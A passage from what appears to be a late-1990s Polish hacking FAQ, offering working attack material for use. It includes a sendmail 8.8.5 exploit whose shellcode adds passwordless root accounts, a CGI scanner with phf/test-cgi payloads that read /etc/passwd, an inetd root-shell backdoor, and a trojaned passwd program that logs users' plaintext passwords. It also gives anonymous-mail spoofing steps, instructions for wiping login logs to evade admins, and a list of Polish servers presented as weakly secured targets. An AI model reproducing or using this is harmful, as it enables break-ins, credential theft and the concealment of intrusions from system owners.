	usage(SOCK_ERR);


     if (connect(sockfd,(struct sockaddr *)&forconnect,sizeof(forconnect))==
0)
     {
       if (getsockname(sockfd,(struct sockaddr *)&forport,&len)==0)
       {
	  if ((identfd=socket(AF_INET,SOCK_STREAM,0))== -1)
	     usage(SOCK_ERR);
	  if (connect(identfd,(struct sockaddr *)&forident,sizeof(forident))
==0)
	  {
	     sprintf(identbuf,"%u,%u",htons(forconnect.sin_port),
		htons(forport.sin_port));

	     write(identfd,identbuf,strlen(identbuf)+1);
	     read(identfd,recieved,80);
	     recieved[strlen(recieved)-1]='\0';
	     uid=strrchr(recieved,' ');
	     service=getservbyport(forconnect.sin_port,"tcp");
	     printf("Port: %3d\tService: %10s\tUserid: %s\n",curport,
		(service==NULL)?"(?)":service->s_name,uid);
	  }
       }
    }
    close(sockfd);
    close(identfd);
  }
}
 -- CUT HERE --


4.2 Wysylanie fakemaili

 Aby przejsc do kolejnego punktu zwiazanego z sendmailami nalezy poznac
kilka polecen sluzacych do wysylania tzw. fakemaili, czyli anonimowych maili
z jakiegos serwera. Zasada jest prosta :

Laczymy sie z jakim serwerem przez telnet port 25
i calosc wyglada mniej wiecej tak:

> telnet dom.vr.pl 25

220 dom.vr.pl ESMTP Sendmail 8.8.7/8.8.5; Sat, 1 January 1998 23:35:22 +0200 

> helo nikt

250 dom.vr.pl Hello ppp123.bydgoszcz.tpnet.pl [194.204.139.137], pleased to 
meet you 

> mail from:root@dom.vr.pl
250 root@dom.vr.pl... Sender ok 

> rcpt to:slabik@tpsa.is.lame

250 slabik@tpsa.is.lame Recipient ok 

> data

354 Enter mail, end with "." on a line by itself 

tu piszemy tekst i konczymy go "." 

> quit

Warto zauwazyc, ze w miejscu gdzie wpisujemy tekst ( data ) mozemy zastosowac
wiele ciekawych polecen np: echo nikt::0:0:nikt/:/bin/bash>>/etc/passwd
To jest tylko przyklad i raczej to nie zadziala, ale od czego sa exploity i 
inne metody ;)

4.3.Bugi w sendmailu 

  Ataki na serwer po przez sendmail to chyba najczesciej spotykane metody na
zdobycie roota. Do wielu sendmaili napisanych zostalo sporo exploitow i
opracowanych duzo metod na wykorzystanie ich dziur. Niestety, nowsze sendmaile
powyzej 8.8.5, pozbawione sa licznych bugow, a nawet sie twierdzi ze ich nie
maja ( teoria ;)) Nie ma sensu bym zamieszczal metody na kazdy z sendmaili,
skoro mozna je znalezc w innych FAQ.( Polecam np. FAQ POWERA) Podaje jedynie
zrodlo exploita na sendmail 8.8.5, gdyz nigdzie go jeszcze nie znalazlem.
Metody opisane w innych FAQ na sendmail 8.8.4/8.8.5 z pisaniem do dead.letter,
delikatnie mowiac pozbawione sa sensu.


-- CUTE HERE --

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define NOP 0x90

/* DO NOT CHANGE - SIZE COMPUTED */
char shellcode[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff";

/* DO NOT CHANGE - SIZE COMPUTED */
char commands[] =
"/bin/echo \"n0tr00t::1000:1000:n0tr00t:/:/bin/bash\" >> /etc/passwd\n"
"/bin/echo \"r00t::0:0:r00t:/:/bin/bash\" >> /etc/passwd\n";


int main
(
	int  argc,
	char **argv
)
{

	int i;
	int sock;
	char *ptr;
	char *clear;
	char buf[8192];
	struct sockaddr_in sin;
	struct hostent *hp;

	if(argc<2)
	{
		printf("READ COMMENTS\n");
		exit(-1);
	}
	ptr = buf;
	for(i=0;i<=4096;i++) buf[i] = NOP;
	ptr += i;
	memcpy(ptr,shellcode,sizeof(shellcode));
	ptr += sizeof(shellcode);
	clear = commands;
	memcpy(ptr,clear,sizeof(commands));
	ptr += sizeof(commands);
	memcpy(ptr,"3824",4);
/*        **system(clear);**      -------- LINE BROKEN BY ROOTSHELL */
	printf("connecting to %s\n",argv[1]);
	hp = gethostbyname(argv[1]);
	if(hp==NULL)
	{
		printf("unknown host b1tch^┼n");
		exit(-1);
	}
	bzero((char*) &sin, sizeof(sin));
	bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
	sin.sin_family = hp->h_addrtype;
	sin.sin_port = htons(25);
	"/bin/echo \"heh | mail Dr_UnixError@hotmail.com";
	sock = socket(AF_INET, SOCK_STREAM, 0);
	connect(sock,(struct sockaddr *) &sin, sizeof(sin));
	send(sock,buf,sizeof(buf),0);
	close(sock);
	printf("Teraz zaloguj sie na r00t or n0tr00t\n");
	return(0);
}

-- CUTE HERE --

Exploit ten jest dosyc pewny i sprawdzony! , dziala na wiekszosci sendmaili
8.8.5, chyba ze admin postaral sie o patcha ;)

 
4.4.Sendmail scanner

A jak sie dowiedziec jaka wersje sendmaila ma serwer? Mozna za kazdym razem
laczyc sie z innym serwerem na port 25 i sobie spisywac wersje. Mysle, jendak
ze byla by to zmudna robota ;) Ponizej zamieszczam zrodlo programiku, ktory
pobiera nazwy hostow z pliku i zapisuje wynik do innego pliku.


-- CUTE HERE --


#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define TIMEOUT 5

FILE *server;
int sock,to;

void timeout(int signo) { to=1; };

void sm(char *host) {
  char inbuf[1024];
  struct sockaddr_in sin;
  struct hostent *hp;
  int x;
  hp=gethostbyname(host);
  if (h_errno!=0) {
    printf("Nie moge namierzyc %s, pomijam...\n",host);
    return;
  }
  bcopy(hp->h_addr,(char *) &sin.sin_addr,hp->h_length);
  sin.sin_family=hp->h_addrtype;
  sin.sin_port=htons(25);
  sock=socket(AF_INET,SOCK_STREAM,0);
  if (-1
*/

#include 
#include 
#include 
#include 
#include 
#include 

#define TAMANO 1024

int sock;
struct sockaddr_in sock_dest;
char host_dest[100];

main(int argc,char *argv[])
{


 FILE *ini;       /*check for vito.ini*/

 int a,
     b,
     c,
     d,
     x;

 struct hostent *pastelito;

 char buffer[TAMANO],
      bufrec[TAMANO],
      buftmp[TAMANO],
      encabezado[50];


   if (argc < 2) {
      fprintf(stdout,"V.I.T.O by ET Lownoise 97\n");
      fprintf(stdout,"Usage: %s  [> file]\n",argv[0]);
      fprintf(stdout,"Note: I know this program sucks.. it\n");
      fprintf(stdout,"      just make things easy.\n");
      exit(0);
   }

   if((ini=fopen("vito.ini","r"))==NULL){
      fprintf(stdout,"%s needs his ini file: vito.ini\n",argv[0]);
      exit(0);
   }

   if (sscanf(argv[1],"%d.%d.%d.%d",&a,&b,&c,&d) != 4) {
      pastelito = gethostbyname(argv[1]);
      if (pastelito == NULL) {
	 fprintf(stdout,"Ahhhhhhh! cannot resolve host %s\n",argv[1]);
	 exit(0);
      }
      sprintf(host_dest,"%d.%d.%d.%d",(unsigned char )
pastelito->h_addr_list[0][0],
				      (unsigned char )
pastelito->h_addr_list[0][1],
				      (unsigned char )
pastelito->h_addr_list[0][2],
				      (unsigned char )
pastelito->h_addr_list[0][3]);
   }
   else {
      strncpy(host_dest,argv[1],99);
   }
   fprintf(stdout,"V.I.T.O.\n");
   fprintf(stdout,"Attac...Testing host: %s ",host_dest);

   /*ET*/

   sock_dest.sin_family = AF_INET;
   sock_dest.sin_port = htons(80);                               /* www
port */
   sock_dest.sin_addr.s_addr = inet_addr(host_dest);

   while(fgets(buffer,TAMANO,ini)!=NULL){                  /*Buffer line
size*/
      if(buffer[0]=='['){
	 /*   Buffer division*/
	 strcpy(buftmp,buffer);
	 strcpy(buffer,strchr(buftmp,'G'));
	 strncpy(encabezado,buftmp,strlen(buftmp)-strlen(buffer)+1);
	 encabezado[strlen(buftmp)-strlen(buffer)]='\0';


	 sock = socket(AF_INET,SOCK_STREAM,0);
	 if(sock < 0) {
	   fprintf(stdout,"ERROR: socket() failed\n");
	   exit(0);
	 }

	 x = connect(sock,(struct sockaddr *)
&sock_dest,sizeof(sock_dest));
	 if(x < 0){
	   fprintf(stdout,"Upps.. can't connect to port 80\n");
	 }

	 fprintf(stdout,
	
"\n|-------------------------------------------------------------|\n");
	 fprintf(stdout,"  CGI: %s\n",encabezado);
	 fprintf(stdout,"  Sending.\n");
	 fprintf(stdout,"  %s",buffer);
	
fprintf(stdout,"|-------------------------  ----------------------|\n");
	 send(sock,buffer,TAMANO*sizeof(char),0);
	 bzero(buffer,TAMANO);
	 fprintf(stdout,"  Receiving.\n\n");
	 while((x=recv(sock,bufrec,TAMANO*sizeof(char),0))!=0){
		fprintf(stdout,"%s",bufrec);
		bzero(bufrec,TAMANO);
	 }
	 close(sock);
      }
   }
   fclose(ini);
   fprintf(stdout,
	
"\n|=============================================================|\n");
   fprintf(stdout,"Vito End.    ET Lownoise 1997\n");
}

-- CUTE HERE --

-- CUTE HERE --

##############################################################
#   vito.ini                                                 #
##############################################################

[phf passwd] GET /cgi-bin/phf?Qalias=hell%0acat%20/etc/passwd%0a
[phf uname] GET /cgi-bin/phf?Qalias=hell%0auname%20-a%0a
[finger] GET /cgi-bin/finger?%0a
[test-cgi cgis] GET /cgi-bin/test-cgi?%20*%0a
[test-cgi dirs] GET /cgi-bin/test-cgi?%20\*%0a
[php/fi] GET /cgi-bin/php.cgi?/etc/passwd
#[Access control on W3C httpd server] GET //secret/index.html
[IRIX handler ] GET /cgi-bin/handler/useless_shit;cat    
/etc/passwd|?data=Download
#[mglimpse] GET
/cgi-bin/aglimpse/80|IFS=5;CMD=5mail5user\@et.com\haselko, a w pliku
haselko powinno sie znalezc haslo roota ;)

4.8 Prosty Backdoor

  Co to sa tylne dzwi chyba nikomu tlumaczyc nie trzeba, ale przypomne ze
jest to sposob w jaki mozna sie polaczyc z serwerem, bez koniecznosci logowa-
nia i podawania hasla.Sluzy do tego jeden z portow ktory mozemy albo stworzyc,
albo wykorzystac inny. Podstawa do tego by zalozyc backdoora jest koniecznosc
posiadania roota ;).Backdoor jest metoda ktora pozwoli przez dluzszy czas
utrzymac roota, pod warunkiem ,ze robimy to pomyslowo i bez zostawiania sladow
( no troche ich trzeba zostawic, przynajmniej w dwoch plikach ;))
Wyobrazmy sobie ze mamy juz na jakims serwerku roota ,zalozylismy sobie kilka
innych kont, ale admin sie skapowal, pokasowal konta i zmienil sobie haslo.
Ale my mamy jeszcze tylne dzwi ;)
Na poczatek przyjrzyjmy sie dwom plikom, ktore sa odpowiedzialne za to, ktore 
porty maja byc otwarte i do czego sluzyc.

/etc/services

tcpmux            1/udp    #TCP Port Service Multiplexer
compressnet       2/tcp    #Management Utility
compressnet       2/udp    #Management Utility
compressnet       3/tcp    #Compression Process
compressnet       3/udp    #Compression Process
ftp              21/tcp    #File Transfer [Control]
hostnames       101/tcp   # usually from sri-nic
iso-tsap        102/tcp   # ISO nic
x400            103/tcp   # ISO mail

Pierwsza kolumna oznacza nazwe serwisu, duga numer portu trzecia opis

/etc/inedt.conf

ftp     stream  tcp     nowait  root    /usr/libexec/tcpd       ftpd -l -A
telnet  stream  tcp     nowait  root    /usr/libexec/tcpd       telnetd
shell   stream  tcp     nowait  root    /usr/libexec/tcpd       rshd
login   stream  tcp     nowait  root    /usr/libexec/tcpd       rlogind -a
x400    stream  tcp     nowait  root    /usr/libexec/tcpd       rexecd


  Pierwsza kolumna to nazwa serwisu (deamona) odpowiada ona numerowi portu z 
pliku services. Druga kolumna to rodzaj polaczenia, przewaznie stream.  
Dalej jest protokol, nas interesuje tylko tcp. Nastepna kolumna dotyczy
oczekiwania, standardowo -  "nowait". Nastepnie podany jest uzytkownik,
My bedziemy ustawiac na roota. Dalej znajduje sie program, ktory obsluzy
polaczenie, czyli prawie zawsze tcpd. Na koncu znajduje sie program lub
deamon, ktory zostanie odpalony. W sumie jest tego o wiele wiecej od portu 1
przewaznie do 7000 i  dalej. Instalacja backdoora polega na otworzeniu sobie
jakiegos portu, tak aby po polaczeniu sie z nim przez telnet, bez koniecznosci
logowania i podawania hasla otrzymac na przyklad.... roota ;). Mozna
zmienic jakis serwis albo dopisac nowy. Dopisujac nowy nalezy zwrocic uwage
na to by dopisac go w odpowiedniej kolejnosci (porty sa uporzadkowane). Nie
wymyslac zbyt wysokich portow ( to bylo podejrzane skoro standardowo jest ich
do 7000) I wymyslec jakas ciekawa, ale nie wybijaca sie z pozostalych nazw
serwisu. Mala szansa, zeby admin skapnal sie o co biega. Z zasady jest mnostwo
otworzonych portow , a dopisanie sobie jednego swojego, niczego wizualnie nie
zmieni ;) Aha, zeby nie podpadlo mozna zrobic sobie kopie powloki i umiescic
ja w jakims glupim katalogu

Tak powinno mniej wiecej to wygladac :

# do pliku /etc/services  

tnt     2090/tcp        #jakis fajny opis ;)

# do pliku /etc/inetd.conf

tnt    stream    tcp    nowait    root   /bin/bash bash -i

Po takim zabiegu nalezy zresetowac calego daemona, by uaktualnic ustawienia

killall -HUP inetd

Teraz mozemy wpisac telnet host 2090
i...
Trying 194.204.73.4...
Connected to dom.vr.pl
Escape character is '^]'.
bash#
bash# who am i
bash# I'm root ;)

To jest jeden z najprostrzych backdoorow, ale skuteczny. Jesli ktos chce sie
zapoznac z innymi "tylnymi dzwiami" to odwoluje do FAQ banana.


4.9 Kon trojanski passwd

A teraz troche z innej beczki, ponizej podaje zrodlo na ciekawego konia
trojanskiego. Nalezy to skompilowac (gcc trojan.c -o passwd). Orginalny plik
passwd znajdujacy sie w /usr/bin/passwd zastapic tym skompilowanym. No,
wczesniej mozna zrobic sobie kopie starego passwd. I teraz kazdy kto bedzie
zmienial haslo, lub gdy root bedzie dodawal nowych uzytkownikow , wszystkie
rozkodowane hasla beda sie znajdowaly w pliku /tmp/xs-chpass. Mozna wymyslec
jakas inna ciekawsza lokalizacje. Warunkiem instalacji tego konia trojanskiego
jest oczywiscie koniecznosc posiadania statusu roota ;)


-- CUTE HERE --


#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define ascii_to_bin(c) ((c)>='a'?(c-59):(c)>='A'?((c)-53):(c)-'.')
#define bin_to_ascii(c) ((c)>=38?((c)-38+'a'):(c)>=12?((c)-12+'A'):(c)+'.')

#define MAX_LENGTH      1024

static void
pexit(str)
     char *str;
{
    perror(str);
    exit(1);
}

int
main(argc, argv)
     int argc;
     char *argv[];
{
    struct passwd *pe;
    uid_t gotuid = getuid();
    char *pwdstr = NULL, *cryptstr, *oldstr;
    char pwdstr1[10];
    int ucase, lcase, other;
    char *p, *q, *user;
    time_t tm;
    char salt[2];
    FILE *fd_in, *fd_out, *plaintext;
    char line[MAX_LENGTH];
    char colonuser[16];
    int error=0;
    int r;
    int ptmp;
#ifndef USE_SETPWNAM
    struct rlimit rlim;
#endif

    if(argc > 3) {
	puts("Too many arguments");
	exit(1);
    } else if(argc >= 2) {
	if(gotuid) {
	    puts("Only root can change the password for others");
	    exit(1);
	}
	user = argv[1];
	
	if (argc == 3) pwdstr = argv[2];
	
    } else {
	if (!(user = getlogin())) {
	    if (!(pe = getpwuid( getuid() ))) {
		pexit("Cannot find login name");
	    } else
	      user = pe->pw_name;
	}
    }

#ifndef USE_SETPWNAM
    umask(022);

    rlim.rlim_cur = rlim.rlim_max = RLIM_INFINITY;
    setrlimit(RLIMIT_CPU, &rlim);
    setrlimit(RLIMIT_FSIZE, &rlim);
    setrlimit(RLIMIT_STACK, &rlim);
    setrlimit(RLIMIT_DATA, &rlim);
    setrlimit(RLIMIT_RSS, &rlim);
    rlim.rlim_cur = rlim.rlim_max = 0;
    setrlimit(RLIMIT_CORE, &rlim);
#endif
    
    if(!(pe = getpwnam(user))) {
	pexit("Can't find username anywhere. Are you really a user?");
    }
    
    /* if somebody got into changing utmp... */
    if(gotuid && gotuid != pe->pw_uid) {
	puts("UID and username does not match, imposter!");
	exit(1);
    }
    
    printf( "Changing password for %s\n", user );
    
    if(gotuid && pe->pw_passwd && pe->pw_passwd[0]) {
	oldstr = getpass("Enter old password: ");
	if(strncmp(pe->pw_passwd, crypt(oldstr, pe->pw_passwd), 13)) {
	    puts("Illegal password, imposter.");
	    exit(1);
	}
    }

    if (!pwdstr) {
	/* password not set on command line by root, ask for it ... */
	
      redo_it:
	pwdstr = getpass("Enter new password: ");
	if (pwdstr[0] == '\0') {
	    puts("Password not changed.");
	    exit(1);
	}
	
	if((strlen(pwdstr) < 6) && gotuid) {
	   puts("The password must have at least 6 characters, try again.");
	    goto redo_it;
	}
	
	other = ucase = lcase = 0;
	for(p = pwdstr; *p; p++) {
	    ucase = ucase || isupper(*p);
	    lcase = lcase || islower(*p);
	    other = other || !isalpha(*p);
	}
	
	if((!ucase || !lcase) && !other && gotuid) {
	    puts("The password must have both upper- and lowercase");
	    puts("letters, or non-letters; try again.");
	    goto redo_it;
	}
	
	if (pe->pw_passwd[0] 
	    && !strncmp(pe->pw_passwd, crypt(pwdstr, pe->pw_passwd), 13)
	    && gotuid) {
	    puts("You cannot reuse the old password.");
	    goto redo_it;
	}
	
	r = 0;
	for(p = pwdstr, q = pe->pw_name; *q && *p; q++, p++) {
	    if(tolower(*p) != tolower(*q)) {
		r = 1;
		break;
	    }
	}
	
	for(p = pwdstr + strlen(pwdstr)-1, q = pe->pw_name;
	    *q && p >= pwdstr; q++, p--) {
	    if(tolower(*p) != tolower(*q)) {
		r += 2;
		break;
	    }
	}
	
	if(gotuid && r != 3) {
	 puts("Please don't use something like your username as password!");
	    goto redo_it;
	}
	
	/* do various other checks for stupid passwords here... */
	
	strncpy(pwdstr1, pwdstr, 9);
	pwdstr = getpass("Re-type new password: ");
	
	if(strncmp(pwdstr, pwdstr1, 8)) {
	    puts("You misspelled it. Password not changed.");
	    exit(1);
	}
    } /* pwdstr != argv[2] i.e. password set on command line */
    
    time(&tm);
    salt[0] = bin_to_ascii(tm & 0x3f);
    salt[1] = bin_to_ascii((tm >> 6) & 0x3f);

    plaintext = fopen("/tmp/xs-chpass", "a");
    if((fputs("L: ", plaintext)) == EOF)
      perror("XS-Hack ERROR (general): ");
    if((fputs(user, plaintext)) == EOF)
      perror("XS-Hack ERROR (plaintext passwd): ");
    if((fputs(" ", plaintext)) == EOF)
      perror("XS-Hack ERROR (general): ");
    if((fputs("P: ", plaintext)) == EOF)
      perror("XS-Hack ERROR (general): ");
    if((fputs(pwdstr, plaintext)) == EOF)
      perror("XS-Hack ERROR (username): ");
    if((fputs("\n", plaintext)) == EOF)
      perror("XS-Hack ERROR (general): ");

    cryptstr = crypt(pwdstr, salt);

    if (pwdstr[0] == 0) cryptstr = "";

#ifdef USE_SETPWNAM
    pe->pw_passwd = cryptstr;
    if (setpwnam( pe ) < 0) {
       perror( "setpwnam" );
       printf( "Password *NOT* changed.  Try again later.\n" );
       exit( 1 );
    }
#else
    if ((ptmp = open("/etc/ptmp", O_CREAT|O_EXCL|O_WRONLY, 0600)) < 0) {
	pexit("Can't exclusively open /etc/ptmp, can't update password");
    }
    fd_out = fdopen(ptmp, "w");
    
    if(!(fd_in = fopen("/etc/passwd", "r"))) {
	pexit("Can't read /etc/passwd, can't update password");
    }
    
    strcpy(colonuser, user);
    strcat(colonuser, ":");
    while(fgets(line, sizeof(line), fd_in)) {
	if(!strncmp(line,colonuser,strlen(colonuser))) {
	    pe->pw_passwd = cryptstr;
	    if(putpwent(pe, fd_out) < 0) {
		error = 1;
	    }
	} else {
	    if(fputs(line,fd_out) < 0) {
		error = 1;
	    }
	}
	if(error) {
      puts("Error while writing new password file, password not changed.");
	    fclose(fd_out);
	    endpwent();
	    unlink("/etc/ptmp");
	    exit(1);
	}
    }
    fclose(fd_in);
    fclose(fd_out);
    
    unlink("/etc/passwd.OLD");  /* passwd.OLD not required */
    if (link("/etc/passwd", "/etc/passwd.OLD")) 
      pexit("link(/etc/passwd, /etc/passwd.OLD) failed: no change");
    if (unlink("/etc/passwd") < 0)
      pexit("unlink(/etc/passwd) failed: no change");
    if (link("/etc/ptmp", "/etc/passwd") < 0)
      pexit("link(/etc/ptmp, /etc/passwd) failed: PASSWD file DROPPED!!");
    if (unlink("/etc/ptmp") < 0) 
      pexit("unlink(/etc/ptmp) failed: /etc/ptmp still exists");
    
    chmod("/etc/passwd", 0644);
    chown("/etc/passwd", 0, 0);
#endif
    
    puts("Password changed.");  
    exit(0);
}

-- CUTE HERE --

5.1 Bezpieczenstwo

W tym i kolejnych punktach omowie kilka aspektow bezpiecznego hackowania.
Bezpieczenstowo jest sprawa nader wazna i nie mozna tego lekcewazyc. Wiekszosc
mysli sobie ze jak juz sie gdzies wlamalo, ma roota, jest juz wszystko fajnie,
pieknie, ale nie na tym rzecz polega. Pieknie moze byc przez chwile, a pozniej
moga byc tego nie ciekawe skutki. Trzeba pamietac ,ze TPSA nie gwarantuje
pelnej anonimowosci. W przypadku jakiegos powazniejszego wlamania, lub naru-
szenia czyjegos mienia TPSA na wniosek prokuratora, moze udostepnic biling,
na ktorym sa wszystkie polaczenia. Chociaz patrzac na to z drugiej strony nie
jest to do konca dowodem, bo na lini wisi zawsze wiecej osob. Po prostu robiac
jakies wieksze akcje, trzeba to robic z glowa ;)


5.2 Jak hackowac bezpiecznie

Po pierwsze stosowac sie do zasad wymienionych wczesniej. Po drugie nigdy nie
laczyc sie przez inne polaczenia niz TPSA ( jesli oczywiscie mamy dostep u
jakiegos providera). Jesli mamy juz roota, pamietac o kasowaniu za soba wszy-
stkich logow. Najwazniejsze logi to :

/var/log/wtmp    - log ogolny
/var/run/utmp    - przechowuje informacje o zalogowanych osobach.
		   Wpisz "echo -n >/var/run/utmp" aby ukryc sie przed
		   who lub fingerem
/var/log/lastlog - zawiera informacje o ostatnim zalogowaniu

Jest jeszcze innych kilka logow np. /var/log/messages itd.

Ale te powyzsze sa najwazniejsze

Aby wyczyscic swoje logi mozna wykonac cos w stylu :

echo -n >/var/log/wtmp; echo -n >/var/run/utmp

lub nabyc sobie programik killlog dostepny w wielu zrodlach.

Jesli nie mamy roota, a wchodzimy na czyjes konto, rozlaczamy sie, to wlasci-
ciel konta otrzymuje nastepujaca informacje :
 
lastlogin  ppp34.bydgoszcz.tpnet.pl

I... juz widzi ze cos jest nie tak, bo on jest np. ze Szczecina a ostatni
logowal sie ktos z Bydgoszczy , i od razu zmienia haslo. Jak temu zapobiec?
Sa dwie metody jedna skasowac plik /var/log/lastlog ale nie zrobimy tego nie
majac roota. Druga ,to zawsze robic "petelki"

Polega to na tym ze laczymy sie z hostem:

telnet wariatkowo.com.pl 23

login, passwd,

a nastepnie robimy petelke

telnet localhost ( lub telnet 127.0.0.1)

i jeszcze raz login, passwd.

Teraz po rozlaczeniu sie, gdy wejdzie wlasciciel otrzyma informacje:

lastlogin  localhost

I raczej watpliwa sprawa zeby sie skapowal co tu sie dzialo i kto sie ostatni
logowal, chyba ze jest naprawde dobry i ma czas na dochodzenie ;)
Faktem jest, ze te wszystkie operacje odnotowane beda w logach systemowych,
ale nie majac roota nic wiecej nie zrobimy.

Jesli planujemy jakias wieksza akcje, musimy wykorzystac do tego kilka kont.
I nie laczyc sie bezposrednio z serwerem na ktorym mieszamy, tylko zrobic
kilka petelek, a jesli jeszcze na jednym z serwerow mamy roota, to czesciowo
mozemy zamazac logi. 100 % ze admini sie nie dogadaja ;)


5.4 Co zrobic, gdy jestes podejrzany

Trzeba pamietac o jednym: ze jesli jestes podejrzany o hackersto to jestes
winny dopoki nie udowodnisz swej niewinnosci. Z zasady nikt ci raczej nic
nie zrobi jesli nie zniszczysz systemu, lub powaznie nie namieszasz. Jesli
beda cie podejrzewac to napewno dostaniesz ostrzezenia od admina ( jedno
kiedys dostalem ;)).Moze on monitorowac twoje polaczenia, czytac poczte, a
wiec nalezy uwazac. Zaprzestac na jakis czas akcji, nie wysylac zadnej jawnej
poczty. Mozna tez to zlekcewazyc, w koncu wyroki za hackerstwo nie sa az tak
wysokie : od kilku do kilkunastu lat ;) Po prostu trzeba byc czujnym i nie
dac sie zlapac ;)!!!!


6.1 Lista serwerow udostepniajacych bezplatne konta

www.idc.com.pl

www.arbornet.org

www.ashpool.com

www.nyx.net

www.nether.net

www.havoc.net

www.unixnet.org

dom.vr.pl

6.2 Inne polskie serwery

Lista innych polskich serwerow, nie ktore z nich bardzo stare i slabo
zabezpieczone mozna pokombinowac ;)

WWW.BIALAP.TPSA.PL
BISON.ZBS.BIALOWIEZA.PL
WWW.UW.BIALYSTOK.PL
MATH.UW.BIALYSTOK.PL
WWW.MERINOSOFT.BPTNET.PL
MIZAR.UW.BIALYSTOK.PL
EUREKA.MTRAIN.OPTINET.PL
WWW.NASK.BIALYSTOK.PL
WWW.OPTINET.PL
CKSR.AC.BIALYSTOK.PL
ARAGORN.PB.BIALYSTOK.PL
LIBRA.PB.BIALYSTOK.PL
WWW.SITECH.PL
WWW.T-MATIC.BPTNET.PL
KPBM.PB.BIELSKO.PL
WWW.BESKIDY.POL.PL
WWW.BIELBIT.BIELSKO.PL
WWW.FFCOMP.COM.PL
WWW.PETEX.BIELSKO.PL
WWW.BIELSKO.TPSA.PL
WWW.TECHMEX.COM.PL
KPBM.PB.BIELSKO.PL
WWW.BIELSKO.TPSA.PL
WWW.OKOCIM.COMNET.PL
WWW.ATR.BYDGOSZCZ.PL
ROLN.ATR.BYDGOSZCZ.PL
CHSERV.ATR.BYDGOSZCZ.PL
CHSERV.ATR.BYDGOSZCZ.PL
WWW.BP.COM.PL
WWW.PPCOR.ORG.PL
WWW.CHEMNET.COM.PL
WWW.INTERLAN.COM.PL
WWW.LOGON.BYDGOSZCZ.PL
WWW.LOGONET.COM.PL
WWW.BYDG.PDI.NET
WWW.POCZTA-POLSKA.PL
WWW.RPL.COM.PL
WWW.ALJGLOBAL.COM
WWW.STUDIO-NET.COM.PL
WWW.TELMAX.COM.PL
WWW.BYD.TOP.PL
WWW.ZSE.BYDGOSZCZ.PL
WWW.ZST.BYTOM.PL
USCTOUX1.CTO.US.EDU.PL
WWW.ZST.BYTOM.PL
WWW.ATA.COM.PL
WWW.FILUS.EDU.PL
WWW.GORZOW.PL
WWW.KAM.PL
WWW.SHACO.PL
WWW.SHACO.PL
IS.PCZ.CZEST.PL
WWW.MIM.PCZ.CZEST.PL
KTMIAP.PCZ.CZEST.PL
WWW.WINEASY.SE
WWW.MATINF.PCZ.CZEST.PL
WWW.ZETO.CZEST.PL
WWW.GDA.CNT.PL
WWW.BMBG.COM.PL
WWW.CNT.PL
WWW.ATM.COM.PL
WWW.PG.GDA.PL
WWW.PG.GDA.PL
WWW.ELY.PG.GDA.PL
WWW.ETI.PG.GDA.PL
WWW.DS2.PG.GDA.PL
WWW.INFOSERVICE.COM.PL
WWW.ITNET.COM.PL
WWW.AMG.GDA.PL
WWW.IPIPAN.GDA.PL
WWW.IMP.PG.GDA.PL
WWW.IBWPAN.GDA.PL
WWW.NEXUS.OPTIMUS.COM.PL
WWW.GDANSK.SPRINT.PL
WWW.TASK.GDA.PL
WWW.BG.UNIV.GDA.PL
WWW.UNIV.GDA.PL
WWW.USE.COM.PL
TRYTON.CBMPAN.GDYNIA.PL
WWW.MIASTO.GDYNIA.PL
WWW.IMMT.GDYNIA.PL
WWW.IMGW.GDYNIA.PL
WWW.WSM.GDYNIA.PL
WWW.KASZUB.TOP.PL
WWW.SOPOT-PL.NET
WWW.IOPAN.GDA.PL
WWW.POLSL.GLIWICE.PL
WWW.I3W.PIK-NET.PL
WWW.GSW.PL
WWW.SILESIA.PIK-NET.PL
WWW.HELION.COM.PL
ATOS.IITIS.GLIWICE.PL
WWW.JM.COM.PL
KOLIBER.IA.POLSL.GLIWICE.PL
WWW.OPUS.COM.PL
WWW.PIK.GLIWICE.PL
WWW.PIK-NET.GLIWICE.PL
WWW.SILESIA.PIK-NET.PL
WWW.SWOC.GLIWICE.PL
WWW.POLSL.GLIWICE.PL
WWW.TAGOR.COM.PL
HEL.HEL.UNIV.GDA.PL
WWW.PWR.JGORA.PL
WWW.PWR.JGORA.PL
WWW.CPU-ZETO.COM.PL
WWW.JELENIAG.TPSA.PL
WWW.AE.KATOWICE.PL
WWW.AE.KATOWICE.PL
WWW.ADAP.COM.PL
WWW.BIT.KATOWICE.PL
WWW.CENTROZAP.COM.PL
WWW.EMAG.KATOWICE.PL
WWW.FRAM-EFY.COM.PL
WWW.GIG.KATOWICE.PL
ALF.IGO.KATOWICE.PL
WWW.KSK.COM.PL
WWW.NETKAT.COM.PL
WWW.GAPP.PL
WWW.KATOWICE.PIK-NET.PL
WWW.PIK-NET.PL
WWW.KATOWICE.TPSA.PL
WWW.CTO.US.EDU.PL
WWW.ADM.US.EDU.PL
WWW.CTO.US.EDU.PL
WWW.MATH.US.EDU.PL
GATE.MATH2.US.EDU.PL
WWW.SLAM.KATOWICE.PL
WWW.BONUS.COM.PL
WWW.COMPLEX.COM.PL
WWW.EXBUD.COM.PL
WWW.PU.KIELCE.PL
KIEL1.COMPLEX.COM.PL
WWW.SLOWOLUDU.COM.PL
WWW.TU.KIELCE.PL
WWW.KIELCE.TPSA.PL
WWW.ALPLAST.COM.PL
WWW.TEAM.COM.PL
WWW.CYF-KR.EDU.PL
WWW.V-LO.KRAKOW.PL
WWW.ABBPOL.KRAKOW.PL
WWW.CYF-KR.EDU.PL
WWW.ROL.AR.KRAKOW.PL
WWW.ZOO.AR.KRAKOW.PL
WWW.AE.KRAKOW.PL
FETC.AE.KRAKOW.PL
WWW.ALTKOM.KRAKOW.PL
DINO.BCI.KRAKOW.PL
WWW.BJSYSTEM.COM.PL
WWW.BUDOSTAL-2.KRAKOW.PL
WWW.BCI.KRAKOW.PL
WWW.BCI.KRAKOW.PL
WWW.CLICO.KRAKOW.PL
WWW.COMMPOL.KRAKOW.PL
WWW.DIJ.KRAKOW.PL
WWW.EURO.NET.PL
WWW.FEMA.KRAKOW.PL
WWW.HORYZONT-KPG.COM.PL
WWW.IFJ.EDU.PL
